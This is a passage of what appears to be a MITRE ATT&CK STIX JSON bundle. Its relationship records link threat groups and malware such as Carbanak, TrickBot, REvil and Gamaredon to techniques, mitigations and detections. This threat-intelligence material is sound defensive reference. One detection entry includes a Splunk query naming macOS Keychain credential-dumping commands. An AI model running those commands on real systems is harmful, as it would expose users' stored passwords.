cmd.exe and batch scripts to execute commands.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a20f6f1-0e1b-4d8e-8461-eb41e4c6b5da","created":"2023-09-06T15:54:17.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.637Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used open-source tools such as [Impacket](https://attack.mitre.org/software/S0357) for targeting efforts.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a217a5a-b6c4-47c5-822a-5b278385c811","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-02-11T15:55:06.457Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) checks the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings for proxy configurations information.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a228672-276e-4aaf-b40f-6ce645176af0","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:40:56.130Z","description":"Monitor executed commands with arguments that may be used to collect Keychain data from a system to acquire credentials.\n\nAnalytic 1 - Commands indicating credential searches in Keychain.\n\n index=security sourcetype=\"macos_secure\"\n(event_type=\"process\" AND (command IN (\"security dump-keychain\", \"security find-generic-password\", \"security find-internet-password\", \"security unlock-keychain\") OR \n command IN (\"*security* dump-keychain*\", \"*security* find-generic-password*\", \"*security* find-internet-password*\", \"*security* unlock-keychain*\")))","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.408Z","description":"[OLDBAIT](https://attack.mitre.org/software/S0138) installs itself in %ALLUSERPROFILE%\\\\Application Data\\Microsoft\\MediaPlayer\\updatewindws.exe; the directory name is missing a space and the file name is missing the letter \"o.\"(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--2dd34b01-6110-4aac-835d-b5e7b936b0be","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a24f6ef-80e2-48b9-8f00-36ca4f59f191","type":"relationship","created":"2020-05-27T13:22:06.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-27T13:22:06.766Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to identify the location, public IP address, and domain name on a compromised host.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a26d78f-e0cb-4a58-8d84-6d867b32f279","created":"2021-09-28T22:45:48.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Trickbot VNC module Whitepaper 2021","description":"Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot’s Ever-Improving VNC Module. Retrieved September 28, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:45:32.492Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has been known to use PowerShell to download new payloads, open documents, and upload data to command and control servers. \n (Citation: Bitdefender Trickbot VNC module Whitepaper 2021)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a2883ee-60fb-4123-9d82-9ade53f4b43b","type":"relationship","created":"2020-11-06T18:40:38.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"CobaltStrike Daddy May 2017","url":"https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/","description":"Mudge, R. (2017, May 23). Cobalt Strike 3.8 – Who’s Your Daddy?. Retrieved June 4, 2019."}],"modified":"2022-02-25T18:58:14.855Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use known credentials to run commands and spawn processes as a local user account.(Citation: cobaltstrike manual)(Citation: CobaltStrike Daddy May 2017)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a299dae-7ee2-4e5e-8be6-eb014f58205b","created":"2020-05-26T18:37:13.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Medium Metamorfo Apr 2020","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767"},{"source_name":"ESET Casbaneiro Oct 2019","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:45:17.493Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has encrypted payloads and strings.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","source_name":"FireEye APT10 April 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","source_name":"FireEye APT10 Sept 2018"}],"modified":"2020-03-23T16:27:15.084Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used a global service provider's IP as a proxy for C2 traffic from a victim.(Citation: FireEye APT10 April 2017)(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a30af61-b9b4-488e-aebc-dee4dfce52b6","type":"relationship","created":"2021-09-22T13:52:51.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"eSentire FIN7 July 2021","url":"https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc","description":"eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels’ Owner, Brown-Forman Inc.. Retrieved September 20, 2021."}],"modified":"2021-09-22T13:52:51.063Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used WMI to install malware on targeted systems.(Citation: eSentire FIN7 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a31a022-8bb1-4102-9c9a-7289febdcc5c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.","url":"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}],"modified":"2020-03-18T18:14:53.901Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) executes additional VBScript code on the victim's machine.(Citation: fsecure NanHaiShu July 2016)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a31f8c0-36bf-40b5-90d2-d03c72b2c8d8","type":"relationship","created":"2020-05-15T13:17:57.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:17:57.719Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) scanned the network for public shared folders.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a348ba8-5608-4e9b-a180-f66cfad9896e","type":"relationship","created":"2019-06-21T14:45:42.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-07-14T19:43:38.276Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a3956aa-6756-4682-aa1b-c5199c0f3540","type":"relationship","created":"2022-03-16T18:59:53.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T18:59:53.989Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has leveraged the legitimate email marketing service SMTP2Go for phishing campaigns.(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a3ba187-fa84-4285-97e6-8a9383c5e66f","type":"relationship","created":"2021-10-15T13:47:16.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-10-15T13:47:16.423Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has collected data and files from a compromised host.(Citation: BlackBerry CostaRicto November 2020)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a3dd5f2-61af-4617-81b0-c12900f5f8e6","type":"relationship","created":"2022-03-31T12:39:52.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-31T12:39:52.055Z","description":"Consider using Group Policy to configure and block modifications to Terminal Services parameters in the Registry.(Citation: Microsoft System Services Fundamentals)","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a3efac5-1531-413b-97b7-e210b8880f05","type":"relationship","created":"2019-10-11T17:29:20.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList Griffon May 2019","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/","description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019."}],"modified":"2020-03-18T20:13:45.862Z","description":"[GRIFFON](https://attack.mitre.org/software/S0417) has used a reconnaissance module that can be used to retrieve Windows domain membership information.(Citation: SecureList Griffon May 2019)","relationship_type":"uses","source_ref":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a3f586e-9444-489b-871d-616dfb0a5bc9","created":"2024-08-08T17:25:19.335Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-08T17:25:19.335Z","description":"(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a41f311-3961-4446-ad71-2a6f4e3561ec","created":"2022-09-27T16:26:54.358Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:26:54.358Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors gained initial access by exploiting vulnerabilities in JBoss webservers.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a446d3e-092a-4681-a674-890e9f896e04","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitoring the creation of (sub)keys within the Windows Registry may reveal malicious attempts to modify trust settings, such as the installation of root certificates. Installed root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tripwire AppUNBlocker","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.","url":"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a50e0b3-fe35-4cfe-bdd6-306946b15abc","type":"relationship","created":"2020-08-05T19:35:39.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-08-05T19:35:39.629Z","description":"[REvil](https://attack.mitre.org/software/S0496) can query the Registry to get random file extensions to append to encrypted files.(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a53c211-191a-4953-8fab-159077bb89f8","type":"relationship","created":"2020-03-10T17:45:00.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-10T17:45:00.304Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a5b04dd-815c-4f52-be7a-e997625c18e6","created":"2023-08-03T18:38:29.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.648Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used process injection to execute payloads to escalate privileges.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a5c4e73-3657-470e-882b-563f3ca599e7","type":"relationship","created":"2022-01-07T15:11:27.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-07T15:11:27.655Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can use ports 1985 and 1986 in HTTP/S communication.(Citation: Talos ZxShell Oct 2014)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a6022ea-7647-4d61-8103-dd354d8dfd4d","type":"relationship","created":"2020-05-19T20:39:12.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Gamaredon April 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."},{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."},{"source_name":"CERT-EE Gamaredon January 2021","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."},{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."},{"source_name":"Secureworks IRON TILDEN Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-tilden","description":"Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."}],"modified":"2022-03-09T22:26:07.098Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has embedded malicious macros in document templates, which executed VBScript. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also delivered Microsoft Outlook VBA projects with embedded macros.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: CERT-EE Gamaredon January 2021)(Citation: Microsoft Actinium February 2022)(Citation: Secureworks IRON TILDEN 